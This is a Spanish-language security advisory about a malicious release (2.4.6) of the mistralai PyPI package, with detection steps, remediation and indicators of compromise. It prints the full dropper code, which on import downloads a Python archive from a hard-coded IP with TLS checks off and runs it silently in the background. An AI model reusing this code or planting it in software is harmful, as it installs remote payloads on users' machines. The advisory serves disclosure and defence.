Descripción de la vulnerabilidad
El paquete mistralai de PyPI en su versión 2.4.6 contiene un dropper malicioso que se ejecuta automáticamente durante la importación en sistemas Linux. Esta versión no corresponde a ningún tag, commit o flujo de trabajo de release oficial en el repositorio legítimo, siendo la última versión válida la 2.4.5. La carga maliciosa evadió el pipeline normal de releases del repositorio, que utiliza PyPI Trusted Publishing.
El proyecto mistralai en PyPI se encuentra actualmente en cuarentena.
Sistemas afectados
mistralai==2.4.6en PyPI- Las versiones
2.4.5y anteriores no están afectadas
Funcionamiento del código malicioso
Se agregó una función llamada _run_background_task al archivo src/mistralai/client/__init__.py que se ejecuta durante la carga del módulo:
import subprocess as _sub
import os as _os
def _run_background_task():
if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
return
_os.environ["MISTRAL_INIT"] = "1"
_url = "https://83.142.209.194/transformers.pyz"
_dest = "/tmp/transformers.pyz"
try:
if not _os.path.exists(_dest):
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
if _os.path.exists(_dest):
_sub.Popen(
[_sys.executable, _dest],
stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
start_new_session=True, env=_os.environ.copy()
)
except:
pass
_run_background_task()
En sistemas Linux únicamente, la función:
- Retorna inmediatamente si
MISTRAL_INITya está configurada en el entorno - Establece
MISTRAL_INIT=1para evitar que procesos hijos re-activen el dropper - Descarga
https://83.142.209.194/transformers.pyza/tmp/transformers.pyzusandocurl -k -L -s(verificación TLS deshabilitada, timeout de 15 segundos). Omite la descarga si el archivo ya existe - Ejecuta
transformers.pyzcon el intérprete Python actual (sys.executable) como proceso independiente mediantePopen(..., start_new_session=True), descartando stdout y stderr y suprimiendo silenciosamente cualquier excepción
En plataformas no-Linux, la función retorna inmediatamente sin realizar acciones.
El disparador es import mistralai, no la instalación del paquete. pip install de un wheel no ejecuta código del paquete; para un sdist ejecuta hooks de construcción PEP 517 pero estos están en setup.py / pyproject.toml, no en __init__.py. Por tanto, pip install, pip download y pip wheel no invocan este dropper.
El contenido de transformers.pyz no está incluido en el paquete y no fue analizado en este aviso. Por tanto, el comportamiento del payload de segunda etapa en el host es desconocido.
Recomendaciones
Cualquier entorno Linux que haya importado mistralai==2.4.6 debe considerarse potencialmente comprometido pendiente de revisión forense. Rote todas las credenciales accesibles desde el proceso que realizó la importación y revise los logs de auditoría del host y la nube para actividad desde aproximadamente 2026-05-12 00:05 UTC en adelante.
Verificación de afectación
Versión instalada:
pip show mistralai | grep -i ^version
Archivos de dependencias y lockfiles:
grep -n -E 'mistralai\b.*2\.4\.6' \
requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null
Archivo descargado en disco:
ls -la /tmp/transformers.pyz
La presencia de /tmp/transformers.pyz en un host que importó mistralai==2.4.6 indica que el paso de descarga se ejecutó exitosamente. Combinado con la ausencia de MISTRAL_INIT en el historial del entorno de procesos del host, no confirma por sí mismo que la segunda etapa se ejecutó; inversamente, su ausencia no descarta la ejecución si el archivo fue limpiado.
Remediación
- Fije
mistralaia la versión2.4.5o anterior. Mientras el proyecto PyPI esté en cuarentena, instale desde este repositorio en un tag conocido como válido, por ejemplogit+https://github.com/mistralai/client-python.git@v2.4.5 - En hosts Linux afectados, rote todas las credenciales accesibles desde el proceso que realizó la importación y revise los logs de auditoría del host y la nube
Indicadores de compromiso
Todos los IOCs provienen del reporte público en #523:
- Archivo:
/tmp/transformers.pyz - Proceso: un intérprete Python (
sys.executable) ejecutando/tmp/transformers.pyzindependiente del grupo de procesos padre, con stdout/stderr a/dev/null - Variable de entorno:
MISTRAL_INIT=1 - HTTPS saliente a
83[.]142[.]209[.]194desdecurl(sin verificación TLS) - Función agregada al paquete:
_run_background_taskensrc/mistralai/client/__init__.py - SHA-256 del sdist malicioso:
6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b
Referencias
- Reporte público con el código del dropper: https://github.com/mistralai/client-python/issues/523
- Proyecto PyPI en cuarentena: https://pypi.org/project/mistralai/
